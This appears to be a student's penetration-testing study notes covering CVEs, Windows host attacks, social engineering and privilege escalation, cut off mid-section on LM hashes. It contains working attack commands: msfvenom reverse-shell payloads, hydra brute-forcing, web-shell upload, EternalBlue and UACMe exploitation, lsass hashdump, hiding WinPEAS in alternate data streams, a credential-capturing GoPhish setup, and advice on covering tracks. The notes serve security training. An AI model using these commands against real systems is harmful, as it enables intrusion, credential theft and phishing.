* If you can exploit it but can’t explain it, then you really didn’t exploit it.

Zero Day Exploits

* Exploits should all be in the CVE numbering authority, determined as important.
* Zero-day exploits, however, have not been reported as a CVE as they have not been discovered before.

+ Not all vulnerabilities are from computer code, they can be derived from social and physical vulnerabilities as well.

Risk Management -> Vulnerability Management -> Vulnerability Assessment -> Pen Test

+ Scanning

+ Asset Identification + Research

+ Fuzz Testing (input/handling validation)

NVD (CVE’s) -> NIST-> Exploit-DB (exploits themselves)

<https://nvd.nist.gov/vuln/detail/CVE-2014-0160>

HeartBleed CVE-2014-0160

* HeartBleed relates to the TLS/PTLS implementation of OpenSSL 1.0.1
* TLS will encrypt data in transmission; SSL is the software that allows for that transmission
* Private-Public key infrastructure that leads to a shared key.
* Allows attackers to gain sensitive information from process memory that trigger buffer over-read through heartbleed packets.
* Does not allow unrestricted access to data, however it does exfil memory
* Look at NVD and Exploit-DB to understand these CVE’s
* Evaluator Impact + Severity + Weakness Enumeration
* Essentially, attackers can gain the cryptographic keys which will essentially allow them to decrypt all traffic, something that TLS is meant to prevent.

“nmap -sV –script ssl-enum-ciphers -p 443 (HOST)”

* Enumerate the ciphers on the host and potentially determine if a vulnerability is present.
* Not super helpful.

“nmap -sV –script ssl-heartbleed -p 433 (HOST)”

* This nmap script is very helpful, as it will directly tell us if that host is vulnerable to HeartBleed. Extremely useful to find in a penetration test.

+ Remember to analyze the code within exploit-db, as in HeartBleed’s case, some of the exploits are only meant to determine if the host is vulnerable.

+ Run your NMAP scans!

TLS -> TCP-handshake -> Encrypt connection (pub/priv keys to encrypt shared key that is symmetric) -> Client/Server communication

* Upon giving it a different value than what the server was expecting for the password length, the attacker can cause the server to display the next parts of data in memory.
* Essentially a buffer-overflow.

EternalBlue – MS17-010 (CVE-2017-0143)

<https://nvd.nist.gov/vuln/detail/CVE-2017-0144>

* Part of a WannaCry attack, affected hospitals across the world.
* Zero-Day exploit that took advantage of SMBv1 in a buffer overflow exploit.
* Pretty much affected EVERY single OS run from Microsoft at the time.

“nmap -sV –script smb-vuln-ms17-010 -p 139,445 (HOST)”

* Scan victim, if the vulnerable machine is hosting SMBv1 and is one of those vulnerable OSes, it’s worthwhile to run Metasploit modules onto it
* Will take advantage of a buffer overflow using a specially crafted SMB packet containing a malicious payload (generally a reverse shell)

Log4J (CVE-2021-44228)

* 84% of Java applications use Log4J for logging, for debugging and data collection. (crucial for developers, it’s just a log database for them).
* Apache Tomcat (Web-App), Glassfish, etc. etc.
* The webapp could be running Java while also servicing other languages such as NGINX or PHP.
* LDAP server, gimme RCE rn.
* Request java class and return its contents, curled back to the malicious LDAP server that the attacker is listening to. Attackers will generally execute a command to give CLI access.

---

Payload on MSFconsole for a lot of exploits: “windows/meterpreter/reverse\_tcp”

* This will just bounce back a reverse shell on the exploit if it is completed.
* Make sure to enumerate the machine as much as possible to find any flags! (or important files in the case of a pen-test, although you really don’t need to do this)
  + Windows is much more difficult to traverse than Linux, need to research into a common method to find files to retrieve flags in a CTF format.

SYSTEM/HOST BASED ATTACKS

+ Introduction to System/Host Based Attacks

+ Overview of Windows Vulnerabilities  
+ Exploiting Windows Vulnerabilities  
+ Windows Privilege Escalation  
+ Windows File System Vulnerabilities  
+ Windows Credential Dumping  
+ Windows Lateral Movement

+ The above 6 but for Linux

Introduction to System/Host Based Attacks

* Windows and Linux are the two most used operating systems in internal networks.
* System/Host based attacks are primarily focused on exploiting inherent vulnerabilities on the target OS.
* Unlike network-based attacks, host-based attacks are much more specialized and require an understanding of the target operating system and the vulnerabilities that affect said operating systems.
* System/Host based attacks involve exploiting misconfigurations and inherent vulnerabilities within the target OS.

Overview of Windows Vulnerabilities

* Windows OS’s have been developed in C programming language, making them vulnerable to buffer overflows, arbitrary code execution, etc.
* Windows, bare bones when they are set up by default, they are not configured to run securely and require implementation of security practices for Windows to run securely.
* In the past, Windows did not patch Windows 7 very often in preparation to release Windows 10, leaving many companies running Windows 7 servers or hosts vulnerable to many attacks.
  + Upgrading to newer versions of Windows is a contributing factor to exploitation, as many companies take a substantial length of time to upgrade their systems to the latest version of Windows.
  + Windows is generally vulnerable to cross platform vulns, for example SQL injection attacks.

Types of Windows Vulnerabilities

* Information disclosure – Vulnerability that allows an attacker to access confidential data.
* Buffer overflows – Caused by a programming error, allows attackers to write data to a buffer and overrun the allocated buffer, consequently writing data to allocated memory addresses.
* Remote code execution – Vulnerability that allows an attacker to remotely execute code on the target system.
* Privilege escalation – Vulnerability that allows an attacker to elevate their privileges after initial compromise.
* Denial of Service – Vulnerability that allows an attacker to consume a system/host’s resources (CPU, RAM, Network etc.) consequently preventing the system from functioning normally.

Frequently Exploited Windows Services

* Windows has various native services and protocols that can be configured to run on a host.
* These services provide an attacker with an access vector that they can utilize to gain access to a target host.
* Having a good understanding of what these services are, how they work and their potential vulnerabilities is a vitally important skill to have as a penetration tester.

Windows IIS (Internet Information Services – TCP Ports 80/443

* Proprietary web server software developed by Microsoft that runs on Windows.

WebDAV (Web Distributed Authoring & Versioning) – TCP Ports 80/443

* HTTP extension that allows clients to update, delete, move, and copy files on a web server. WebDAV is used to enable a web server to act like a file server.

SMB/CIFS (Server Message Block Protocol) – TCP Port 445

* Network file sharing protocol that is used to facilitate the sharing of files and peripherals between computers on a local network (LAN).

RDP (Remote Desktop Protocol) – TCP Port 3389

* Proprietary GUI remote access protocol developed by Microsoft and is used to remotely authenticate and interact with a Windows system.

WinRM (Windows Remote Management Protocol) – TCP Ports 5986/443

* Windows remote management protocol that can be used to facilitate remote access with Windows systems.

Microsoft IIS

* IIS (Internet Information Services) is a proprietary extensible web server software developed by Microsoft for use with the Windows NT family.
  + Essentially just a web server for Windows.
* It can be used to host websites/web apps and provides administrators with a robust GUI for managing websites.
* IIS can be used to host both static and dynamic web pages developed in both ASP.NET and PHP.
* Typically configured to run on ports 80/443
* Supported executable file extensions:
  + .asp
  + .aspx
  + .config
  + .php

WebDAV

* WebDAV (Web-based Distributed Authoring and Versioning) is a set of extensions to the HTTP protocol which allow users to collaboratively edit and manage files on remote web servers.
* WebDAV essentially enables a web server to function as a file server for collaborative authoring.
* WebDAV runs on top Microsoft IIS on ports 80/443.
* To connect to a WebDAV server, you will need to provide legitimate credentials. This is because WebDAV implements authentication in the form of a username and password.

WebDAV Exploitation

* The first step is to determine whether WebDAV has been configured to run.
* Perform a brute-force attack on the WebDAV server to identify legitimate credentials that we can use for authentication.
* After obtaining legitimate credentials, we can authenticate with the WebDAV server and upload a malicious .asp payload that can be used to execute arbitrary commands or obtain a reverse shell on the target.

Tools

* Davtest – Used to scan, authenticate, and exploit a WebDAV server.
  + Pre-installed on most offensive penetration testing distros like Kali or Parrot.
* Cadaver – cadaver supports file upload, download, on-screen display, in-place editing, namespace operations (move/copy), collection creation and deletion, property manipulation, and resource locking on WebDAV servers.
  + Pre-installed on most offensive penetration testing distros like Kali or Parrot.

“nmap -sC” – Default script already includes a WebDAV scan.

Brute Forcing – WebDAV and other HTTP Authentication Forms

* Utilize hydra
* “hydra -L /usr/share/wordlists/metasploit/common\_users.txt -P /usr/share/wordlists/metasploit/common\_passwords.txt (HOST) http-get /webdav/”

DavTest

“davtest -auth (USER):(PASS)-url <http://(IP/DOMAIN)/webdav/>”

* Will test authentication
* Tests DAV connections
* Creates directory for DavTest
* Send test files and test file execution, allowing us to determine what we can execute
* Provides a summary on the tested files

Cadaver

“cadaver <http://(IP/DOMAIN)/webdav/>”

* Will prompt the user for credentials
* Will the provide the user with a pseudo shell and allows them to view the directory
* By creating our directory using DavTest, we can now upload a web shell to the directory that we created with Cadaver and curl a shell back to our own host.
* Web shells in Linux are generally located in “/usr/share/webshells”
  + The type of webshell we upload it determined by the successful test file uploads that we can see within the DavTest output.
* “dav:/webdav/> put /usr/share/webshells/(PATH OF FILE, + TYPE OF WEBSHELL)
* This will then upload the webshell to the WebDAV file listing.
  + We can then run the web shell by clicking on it in the file listing.
  + It will then give us code execution permissions on the WebDAV server.

Metasploit – WebDAV

MSFVenom – Generate payloads to provide you with reverse shell access or remote access to a target system.

“msfvenom -p windows/meterpreter/reverse\_tcp LHOST=(LOCAL HOST) LPORT=1234 -f asp > shell.asp”

* This is if the davtest result shows that the “.asp” test file was accepted successfully.
* X32 bit architecture is generally used for the windows/meterpreter session as it works for both x32 and x64 bit architectures.
* Need to set up a netcat or Postgresql service listener in order to listen before executing the file on the webdav server.
* “service postgresql start && msfconsole”
  + “use multi/handler”
  + “set payload windows/meterpreter/reverse\_tcp”
  + Set the correct LHOST and LPORT and run, will set up a listener
* “meterpreter > sysinfo” “getuid” “dir”
* Metasploit has its own built in IIS WebDAV ASP file upload module
  + “exploit/windows/iis/iis\_webdav\_upload\_asp”
  + Need to specify PATH for desired .asp pass on webdav server
  + HttpUsername and HttpPassword is required for this exploit.
  + Make sure to delete any files that you have uploaded in a Pen Test to prevent visibility of your actions and stay hidden.

Exploiting SMB with PsExec

* SMB (Server Message Block) is a network file sharing protocol that is used to facilitate the sharing of files and peripherals (printers and serial ports) between computers on a local network (LAN).
* SMB uses port 445 (TCP). However, originally, SMB ran on top of NetBIOS using port 139.
* SAMBA is the open source Linux implementation of SMB, and allows Windows systems to access Linux shares and devices.

SMB Authentication

* The SMB protocol utilizes two levels of authentication, namely:
  + User Authentication
  + Share Authentication
* User Authentication – Users must provide a username and password to authenticate with the SMB server to access a share.
* Share Authentication – Users must provide a password to access a restricted share.
  + Note that both authentication levels utilize a challenge response authentication system.

Authentication Request (Client-Server)  
Encrypt string with user’s hash (Server-Client)  
Encrypted string (Client-Server)  
Access Granted, Check if the string matches the client’s string (Server-Client)

PsExec

* PsExec is a lightweight telnet-replacement developed by Microsoft that allows you to execute processes on remote windows systems using any user’s credentials
* PsExec authentication is performed via SMB
* We can use the PsExec utility to authenticate with the target system legitimately and run arbitrary commands or launch a remote command prompt.
* It is very similar to RDP, however, instead of controlling the remote system via GUI, commands are sent via CMD.

+ In order to utilize PsExec to gain access to a Windows target, we will need to identify legitimate user accounts and their respective password or password hashes.  
+ This can be done by leveraging various tools and techniques; however, the most common technique will involve performing an SMB login-brute force attack.  
+ We can narrow down our brute-force attack to only include common Windows user accounts like:  
\* Administrator  
+ After we have obtained a legitimate user account and password, we can use the credentials to authenticate with the target system via PsExec and execute arbitrary system commands or obtain a reverse shell.

* Start postgresql service along with msfconsole

“auxiliary/scanner/smb/smb\_login”

* RHOSTS, SMBDomain (use for authentication if necessary), USER\_FILE, USER\_PASS, STOP\_ON\_SUCCESS, VERBOSE

psexec.py is a great Python script that is used to execute .exe files (which cannot be executed on Linux machines)

* Type “pse” and autocomplete with Tab, could also just find it on a GitHub repo if that doesn’t work.
* “psexec.py (USER)@(HOST) cmd.exe”
* Will prompt a user logon based on the User provided, afterwards it will grant a shell.
* “exploit/windows/smb/psexec” will provide with a meterpreter session, but it will also utilize a malicious payload (BE WEARY OF THIS) (need to set SMBUser/SMBPass/LHOST/LPORT)

EternalBlue – MS17-010 – SMB Vulnerability

* EternalBlue is the name given to a collection of Windows vulnerabilities and exploits that allows attackers to remotely execute arbitrary code and gain access to a Windows system and consequently the network that the target system is a part of.
* Exploit originally developed by the NSA and leaked to the public by the Shadow Brokers in 2017
* Takes advantage of SMBv1 protocol that allows attackers to send a specially crafted packets that consequently facilitate the execution of arbitrary commands
  + Will automatically elevate privileges, no need for priv esc
* Utilized in the WannaCry ransomware attack on June 27, 2017 to exploit other Windows systems across networks with the objective of spreading the ransomware to as many systems as possible.
* The vulnerability affects multiple versions of Windows
  + Windows Vista
  + Windows 7
  + Windows Server 2008
  + Windows 8.1
  + Windows Server 2012
  + Windows 10
  + Windows Server 2016
* Microsoft released a patch for this in March of 2017, however many companies have still not yet patched their systems.
* MSF auxiliary module that can be used to check if a target system is vulnerable to the exploit and has an exploit module that can be used to exploit the vulnerable Windows system.
  + MANUAL EXPLOIT
  + <https://github.com/3ndG4me/AutoBlue-MS17-010>
  + Use the README.md to understand how to use the exploit, the execution is self-explanatory, (make LPORT 1234)
  + ./shellcode/shellprep.sh
  + Set up netcat listener “nc -nvlp 1234”
  + eternalblue\_exploit(HOST VER #).py (make sure to make to chmod +x this file)
  + “python eternalblue\_exploit(HOST VER #).py (HOST) shellcode/(GENERATED SHELLCODE FROM SHELL PREP)
  + Netcat listener should bounce back at command shell

“nmap -sV -p 445 –script=smb-vuln-ms17-010 (HOST)”

* Will check if the host is vulnerable to the EternalBlue exploit.

“auxiliary/scanner/smb/smb\_ms17\_010”

“exploit/windows/smb/ms17\_010\_eternalblue”

* Scanner module and exploit module for automatic MS17-010 exploitation process.

RDP – Remote Desktop Protocol

* Proprietary GUI remote access protocol developed by Microsoft and is used to remotely connect and interact with a Windows system.
* RDP uses TCP port 3389, however it can be configured to run on any other TCP port.
* RDP requires a legitimate user account and password on the target system for authentication.
* RDP is brute-forcible to identify user credentials that we can use to gain remote access to the target system.
  + Since RDP can be configured to run on other ports, it can be hidden and NMAP may not be able to identify it.
  + “auxiliary/scanner/rdp/rdp\_scanner” can get around this to identify if that port is running RDP.
  + Just need to set RHOSTS and RPORT
* Can utilize Hydra for RDP brute-forcing.
* “hydra -L (USER LIST) -P (PASS LIST) rdp://(IP/DOMAIN)”
  + Hydra will utilize the default RDP port (3389), you can use “-s (PORT)” to specify the port.
  + “-t (TASK AMOUNT)” will limit the number of tasks to reduce noise on the network.

xFreeRDP – Connect to RDP

* “xfreerdp /u:(USER) /p:(PASS) /v:(HOST):(PORT if necessary)
* Will open an RDP session on the attacking machine, GUI.

BlueKeep – CVE-2019-0708 – BlueKeep

* BlueKeep is the name given to an RDP vulnerability in Windows that could potentially allow attackers to remotely execute arbitrary code and gain access to a Windows system and consequently the network that the target system is a part of.
* Microsoft, May 2019 (made public, MSFT patch released on May 14th, 2019)
* Takes advantage of a vulnerability in the Windows RDP protocol that allows attackers to gain access to a chunk of kernel memory allowing them to remotely execute arbitrary code without authentication.
  + Everything committed in the kernel space will be executed at the highest level of authority.
* At the time of discovery, about 1 million systems worldwide were found to be vulnerable.
* Exploitable machines:
  + XP
  + Vista
  + Windows 7
  + Windows Server 2008 & R2
* RDP NEEDS TO BE ENABLED
* BlueKeep has various illegitimate proof of concepts and exploit code that can be malicious in nature. It is recommended to only utilize verified exploit code and modules for exploitation. This code could be malicious in nature.
* BlueKeep contains an MSF auxiliary module that can be used to check if a target system is vulnerable, and subsequentially an exploit module is available to exploit the Windows system and give the attacker a privileged meterpreter session.
* Targeting kernel space memory can cause system crashes.
* “auxiliary/scanner/rdp/cve\_2019\_0708\_bluekeep”
* “exploit/windows/rdp/cve\_2019\_0708\_bluekeep\_rce”
  + The module will only run on x64 bit versions of Windows.
  + Specify target configuration;
    - “show targets”
    - “set target (TARGET)
  + Modify groom size to ensure kernel space is not overloaded.

WinRM – Windows Remote Management

* Windows remote management protocol that can be used to facilitate remote access with Windows systems over HTTP(S).
* MSFT implemented WinRM into Windows to make life easier for system administrators.
* WinRM is typically used in the following ways:
  + Remotely access and interact with Windows hosts on a local network.
  + Remotely execute commands on the Windows systems.
  + Manage and configure Windows systems remotely.
* WinRM typically uses TCP ports 5985 and 5986 (HTTPS).
* WinRM implements access control and security for communication between systems through various forms of authentication.
* We can utilize a utilize called “crackmapexec” to perform brute force on WinRM to identify users and their passwords as well as execute commands on the target system.
* We can also utilize a ruby script called “evil-winrm” to obtain a command shell session on the target system.
* Default NMAP port scans may not include port 5985 or 5986, need to do a full -p- scan.
* crackmapexec can be used to brute-force and even execute commands on the Windows system.
* Evil-winrm can be used to gain a remote shell with the provided credentials.
* “crackmapexec winrm (HOST) -u (USER LIST) -p (PASS LIST)”
  + Administrator account should be targeted as it is usually on there and has the highest level of authority.
* “crackmapexec winrm (HOST) -u (USER) -p (PASS) -x (COMMAND)
* “evil-winrm -u (USER) -p ‘(PASS)’ -i (HOST)
* “exploit/windows/winrm/winrm\_script\_exec”
  + Metasploit exploit module
  + Force VBS Module – set to True
  + Set Username and Password
  + Set up listener by entering in LHOST and LPORT

SOCIAL ENGINEERING

Social Engineering Fundamentals

* Human Manipulation – You are HACKING humans.
* To either gain access or to gathering information

Techniques

* Impersonation
* Pretexting – Having a premise to deceive.
* Emotional Pull – Pulling at heartstrings.
* Urgency
* Free stuff
* Blackmail/Extortion
* Quid pro quo

Common Tactics

* Phishing\*
* Watering Hole – Impersonate/Spoof to deceive user into clicking on a “trusted” site
* Baiting – Rubber duckies, USBs that are placed to lure in users.
* Physical Access – Manipulate your way into a building, bypass a LOT of defenses if accomplished.

Phishing

* Malicious email – reply with information, click on links, download files.
  + Potentially roped in with urgency, users are more likely to click on something when an urgent deadline is involved.
* Invoices, payment orders, etc.
* Users should understand that they need to check links, line up payment orders with those orders they are aware of

Types of Phishing

* Spear phishing – Targeted phishing
* Whaling – Spear phishing of high-value individuals (C-suite, Board members)
* Smishing – SMS messaging phishing
* Vishing – Voice call phishing

How Would You Fall for That?

* Pharming – Redirecting web traffic maliciously
* Watering Hole – Use a trusted site against you.
* BEC – Business Email Compromise
* Impersonation/Spoofing – Additional Tactic, take advantage of trust.
* Pharming and Spoofing websites are very important.

What does that have to do with cybersecurity?

* Compromising information/access that shouldn’t be shared.
* User Awareness and Training
* Security Controls – Hardware or Software
* Defense in Depth – Zero Trust policies

Google Facebook Fake Invoicing

* 2013-2015
* Impersonated Electronics Manufacturer
* Fake Invoices with Forged Executive Signatures
* $100 million USD
* Culprit Arrested
* Funds Recovered

FACC CEO Fraud

* 2016
* 54 million euros stolen
* Airplane Parts Manufacturer
* Fake-president Fraud
* Finish the deal impersonation
* CEO and CFO fired, sued

THE START (INFO GATHERING)

THE PHISH (SPOOFED EMAILS, URGENCY)

THE RESPONSE (TARGETS RECEIVED EMAILS, NO REFLECTION/QUESTIONING)

THE DAMAGE (ATTACKERS GAIN ACCESS)

THE RESULT (AFTER-EFFECT)

Robinhood Vishing

* November 2021
* Called Customer Service
  + Keys to System
  + Escalated it to gather information about the customer service rep
* Gained >5million emails
* 2 million fullnames
* 310 PII (birthdays, zipcodes, etc)

Fake Excel File

* April 2021
* Business Email Compromise (BEC)
* Looks like Excel file (.xls file extension)
  + Actually an HTML file
  + Fake Office 365 Login Page
  + Reaches out to attacker utilizing a fake Excel sheet if opened on a browser

HTML Table Windows Logo

* April 2021
* Email Impersonation
* Bypass Email Filters
  + Catches Images
  + Allows Tables

FIN7 USB Mail

* August to November 2021
* Packages sent via UPS and US Postal Service
* Impersonated Department of Health and Human Services and Amazon
* USB stick laced with malicious software

Penetration Testing & Social Engineering

* Purpose
* Information Gathering
* External Access
* Physical Access

What are the Vulnerabilities?

* What is allowed?
  + Make sure all your actions are within the bounds of your contract.
* Information Gathering
  + Determine certain things about the organization discretely
  + Talking with individuals from the org and get info out of them about the org
  + Social areas

External Access

* Malware
* Credentials

Physical Access

* Badges, bypass those doors through social eng
* Rubber duckies/USBs
* LADDERS
* Cables, Servers, curl back to Command n’ Control

GoPhish (gophish.exe)

* Phishing campaign setup
* Tool is written in the Go scripting language
* GoPhish server should be set up on your loopback device
* Set up profile, fill out:
  + Name
  + Interface Type should default to SMTP
  + From (fake email)
    - Ex: info <support@demo.ine.local>
  + Host
    - Generally going to be localhost
  + Username
    - Ex: “red[@]demo[.]ine[.]local”
    - Need to set up email or disposable email for this
  + Password
    - Should have this already, otherwise enter in a new password
* Import Site/Landing Page
  + Can create a landing page
  + Need a domain
  + Could utilize an already created site or create HTML code in this section to build up a fake website
  + Capture submitted Data (CHECK, IF ALLOWED)
  + Capture passwords (CHECK, IF ALLOWED)
  + Redirect (usually can redirect back to localhost)
* Create an email template
  + What GoPhish will bounce back to the victim
  + Need to create an email template that reflects what the victim might usually see
* Users & Groups
  + Specify targets
  + Need First name, Last name, email, and position
* Campaigns
  + Name
  + Email Template
  + Landing Page
  + URL (generally localhost, or where your website is hosted)
  + Launch Date
  + Send emails by (optional, will schedule)
  + Sending Profile
  + Groups
  + BRING EVERYTHING TOGETHER FOR THE CAMPAIGN
* Will generate results for the campaign, and display the following
  + Emails sent
  + Emails opened
  + Clicked link
  + Submitted Data
* Backend of the fake website could potentially take a long time to develop
  + Landing Page & Email Template
* Can export results as a CSV and send to clients

Windows Kernel Exploits

* Privilege Escalation is the process of exploiting vulnerabilities or misconfigurations in systems to elevate privileges from one user to another, typically to a user with administrative or root access or system.
* Privilege escalation is a vital element of the attack life cycle and is a major determinant in the overall success of a penetration test.
* After gaining an initial foothold on a target system you will be required to elevate your privileges to perform tasks and functionality that require administrative privileges.
* The importance of privilege escalation in the penetration testing process cannot be overstated or overlooked.
  + You can’t just stop at initial access; you need to be able to elevate privileges as much as possible. If a company can prevent you from elevating privileges when you’ve tried every route possible, that is a testament to their cyber defense capabilities.

Windows Kernel

* A kernel is a computer program that is the core of an operating system and has complete control over every resource and hardware on a system.
  + Essentially the CORE of the operating system.
* Windows NT is the kernel that comes pre-packaged with all versions of Microsoft Windows and operates as a traditional kernel with a few exceptions based on user design philosophy.
  + User Mode – Programs and services running in user mode have limited access to system resources and functionality.
  + Kernel Mode – Kernel mode has unrestricted access to system resources and functionality with the added functionality of managing devices and system memory.
* Any command executed with the kernel has the absolute highest level of authority when executed.
* Kernel exploits on Windows will typically target vulnerabilities in the Windows kernel to execute arbitrary code to run privileged system commands or obtain a system shell.
* Privilege escalation on Windows systems will typically follow the following methodology:
  + Identifying kernel vulnerabilities for the specific version of Windows you are attempting to escalate your privileges within.
  + Download, compiling, and transferring kernel exploits.
* “getprivs” “getsystem” “shell” “systeminfo”
* “post/multi/recon/local\_exploit\_suggester”
  + Need to specify session as this is a post exploit module.
  + Will enumerate all the potential vulnerabilities within that version of Windows.
  + Will bounce the vulnerable portions of the Windows machine and help the attacker understand the different exploits that can be utilized.
  + We can subsequentially use the corresponding Metasploit exploitation modules that the enumeration module bounces back to us.
    - Make sure to research into these exploits! (Rapid7, NVD, or Exploit-DB)

Github Windows Exploit Suggester

<http://github.com/AonCyberLabs/Windows-Exploit-Suggester>

* The github repo has the specifics on how to run, it essentially does the same as the Metasploit module shown above.
* Will enumerate the machine to understand what privilege escalation vulnerabilities it is vulnerable to.
* “systeminfo” the suggester will attempt to understand the different hotfixes that have been used on this machine to understand the privilege escalation path.
  + Copy this output into a separate text file on your attacking machine.
* “./windows-exploit-suggester.py –update”
* “./windows-exploit-suggester.py –database (LATEST DB) –systeminfo (PATH TO TEXT FILE)
* The output is relatively easy to understand and will display exploit-db proof of concepts or Metasploit exploit modules based on the output.
* <https://github.com/SecWiki/windows-kernel-exploits>
  + Good to utilize once we have enumerated the Windows machine with the Exploit suggester, has listed exploits and such.
    - They do contain prebuilt executables, from which can be downloaded.
  + Does not consider antivirus detection, which could potentially need to be bypassed to execute these exploits.
* Download the executable onto your attacking machine and create temp directory to inject executable into.
  + Do not transfer your files into a user directory, as there’s a high chance you could be detected.
  + Utilize the temp directory to upload these files.
* “upload (PATH OF EXECUTABLE)” – to upload exploit executable.
* Upon gaining everything, utilize “.\(EXECUTABLE)”
* Remember that kernel exploits can potentially not be safe to use, as exploiting the kernel can cause system crashes.

Bypassing UAC with UACMe

* UAC (User Account Control) – is a Windows security feature that was introduced in Vista that is used to prevent unauthorized changes from being made to the OS.
* Used to ensure that changes to the OS require approval from the administrator or a user account that is part of the local administrators group.
* Privileged user – consent prompt, Unprivileged user – administrative user/password prompt.
* There are attacks that can bypass UAC to execute malicious executables with elevated privileges.

Bypassing UAC

* To bypass UAC, you will need to have access to a user account that is a part of the local administrator’s group on the Windows target system.
* UAC allows a program to be executed with administrative privileges, consequently prompting the user for confirmation.
* UAC has various integrity levels ranging from low to high, if the UAC protection level is set below high, Windows programs can be executed with elevated privileges without prompting the user for confirmation.
* There are multiple tools and techniques that can be used to bypass UAC, however the tool and technique used will depend on the version of Windows running on the target system.
  + Tool & Technique used will depend on the version of the target system and the protection level configured for UAC.

UACMe

* UACMe is an open source, robust privilege escalation tool developed by hfire0x. It can be used to bypass Windows UAC by leveraging various techniques.
  + <https://github.com/hfiref0x/UACME>
* The UACMe github repo has a very well documented list of methods that can be used to bypass UAC on multiple versions of Windows ranging from Windows 7 to 10.
* It allows attackers to execute malicious payload on a Windows target with admin/elevated privs by abusing the inbuilt Windows AuteElevate tool.
  + Contains more than 60 exploits, depending on the version.
  + Essentially already using a Windows built-in tool, AutoElevate.
* “net users” – Display users on the Windows machine
* “net localgroup (GROUP)” – Display groups that the user belongs to
  + Usually you’d want to use “administrators”
* Right click the application, “Run as administrator” will bring up the UAC consent prompt.
* UAC -> Manage security level.
  + The default configuration security level is never set to high.
  + “exploit/windows/http/rejetto\_hfs\_exec” – Specifically for this lab
* To migrate to a x64 session, use the following command:
  + “pgrep explorer”
  + “migrate (ProcessID)”
* “getprivs”

1. Generate the payload with MSFVenom.
   1. “msfvenom -p windows/meterpreter/reverse\_tcp LHOST=(LOCAL HOST) LPORT=1234 -f exe > backdoor.exe”
2. Set up the Metasploit multi handler/listener
   1. “use multi/handler”
   2. “set payload windows/meterpreter/reverse\_tcp”
   3. Set LHOST and LPORT
3. Make Temp directory on the victim machine.
   1. “mkdir Temp” “cd Temp”
   2. “upload backdoor.exe”
   3. “upload Akagi64.exe”
   4. Open up shell session.
4. Execute the Akagi64.exe executable with respective method.
   1. “.\Akagi64.exe (METHOD, 23 in this lab’s case) C:\Temp\backdoor.exe”
   2. In this case, the argument 23 is a method which is invoked by the Akagi64.exe for bypassing UAC.
5. Check to see if the multi/handler meterpreter listener received a shell!
6. Migrate to lsass.exe
   1. “migrate -N lsass.exe”
   2. “hashdump”

Access Token Impersonation

* Inherit the privileges to an authorized or highly privileged user account.
* Windows access tokens are a core element of the authentication process on Windows and are created and managed by the Local Security Authority Subsystem Service (LSASS).
* A Windows access token is responsible for identifying and describing the security context of a process or thread running on a system. Simply put, an access token can be thought of as a temporary key akin to a web cookie that provides users with access to a system or network resource without having to provide credentials each time a process is started, or a system resource is accessed.
* Access tokens are generated by winlogon.exe process every time a user authenticates successfully and includes the identity and privileges of the user account associated with the thread or process. This token is then attached to a userinit.exe process, after which all child processes started by a user will inherit a copy of the access token from their creator and will run under the privileges of the same access token.
* Essentially used to restrict access to a user account and prevent it from executing or handling processes that it is not allowed to handle.
* Windows access tokens are categorized based on the varying security levels assigned to them. These security levels are used to determine the privileges that are assigned to a specific token.
  + Impersonate-level tokens are created as a direct result of a non-interactive login Windows, typically through specific system services or domain logons.
  + Delegate-level tokens are typically created through an interactive login on Windows, primarily through a traditional login or through remote access protocols such as RDP.
* Impersonate-level tokens can be used to impersonate a token on the local system and not on any external systems that utilize that token.
* Delegate-level tokens pose the largest threat as they can be used to impersonate tokens on any system.

Windows Privileges

* The process of impersonating access tokens to elevate privileges on a system will primarily depend on the privileges assigned to the account that has been exploited to gain initial access as well as the impersonation or delegation tokens available.
  + SeAssignPrimaryToken: Allows to impersonate tokens.
  + SeCreateToken: Create an arbitrary token with admin priv.
  + SeImpersonatePrivilege: Create a process under a sec context with admin priv.
* If any of the above privileges are available on the local system (remember, “getprivs” will tell us this), we can impersonate the access tokens on that user.

Incognito Module

* Incognito is a built-in meterpreter module that was originally a standalone application that allows you to impersonate user tokens after successful exploitation.
* We can use the incognito module to display a list of available tokens that we can impersonate.
* “load incognito” – IN METERPRETER SESSION (may need to run twice)
* “list\_tokens -u” – List Delegation/Impersonation tokens
* Impersonate\_token “(DELEGATION TOKEN)”
  + Remember to re-migrate to the explorer.exe process to be able to use “getprivs”, it might be blocked originally.
* If no delegation/impersonation tokens are available, we may need to use the Potato attack.

Windows File System Vulnerabilities

Alternate Data Streams

* Alternate Data Streams (ADS) is an NTFS file attribute and was designed to provide compatibility with the MacOS HFS (hierarchical file system)
  + NTFS (New Technology File System) is a file format that is default during the regular installation of Windows.
* Any file created on an NTFS formatted drive will have two different forks/streams.
  + Data stream – Default stream that contains data of the file.
  + Resource stream – Typically contains the metadata of the file.
* Attackers can use ADS to hide malicious code or executables in legitimate files to evade detections.
* This can be done by storing the malicious code or executables in the file attribute resource stream (metadata) of a legitimate file.
* This technique is usually used to evade basic signature-based AVs and static scanning tools.
  + Will work on any modern version of Windows.
* “notepad test.txt:secret.txt”

WinPeas

* THE Windows priv esc tool.
* Need to hide it to make sure the executable is not detected.
* It will essentially enumerate the entire system to scan for vulnerabilities for priv esc.

To hide WinPeas

1. Rename WinPeas to something else, like “payload.exe”
2. “type payload.exe > windowslog.txt:winpeas.exe”
3. Enter random data into windowslog.txt just so it looks like a regular log file.
   1. Notepad windowslog.txt
4. Create a symbolic link (might need to be within the system32 dir for this.
   1. “mklink wupdate.exe C:\(windowslog.txt:winpeas.exe PATH)”
      1. Don’t need to use “wupdate.exe”, you could use any executable.
   2. Every time “wupdate” is entered, winpeas will execute.

Windows Password Hashes

* The Windows OS stores hashed user account passwords locally in the SAM (Security Accounts Manager) database.
* Hashing is the process of converting a piece of data into another value. A hashing function or algorithm is used to generate the new value. The result of a hashing algorithm is known as a hash or hash value.
* Authentication and verification of user credentials is facilitated by the Local Security Authority (LSA).
  + All loops back to the LSASS.
* Windows versions up to Windows Server 2003 utilize two different types of hashes:
  + LM
  + NTLM v1 & NTLM v2
* Windows disables LM hashing and utilizes NTLM hashing from Windows Vista onwards.

SAM Database

* SAM is a database file that is responsible for managing user accounts and passwords on Windows. All user account passwords stored in the SAM database are hashed.
* The SAM database file cannot be copied while the OS is running.
* The Windows NT kernel keeps the SAM database file locked and as a result, attackers typically utilize in-memory techniques and tools to dump SAM hashes from the LSASS process.
* In modern versions of Windows, the SAM database is encrypted with a syskey
* NOTE: Elevated/Administrative privileges are required to access and interact with the LSASS process.

LM (LanMan)

* LM is the default hashing algorithm that was implemented in Windows operating systems prior to NT4.0.
* The protocol is used to hash user passwords, and the hashing process can be broken down into the following steps:
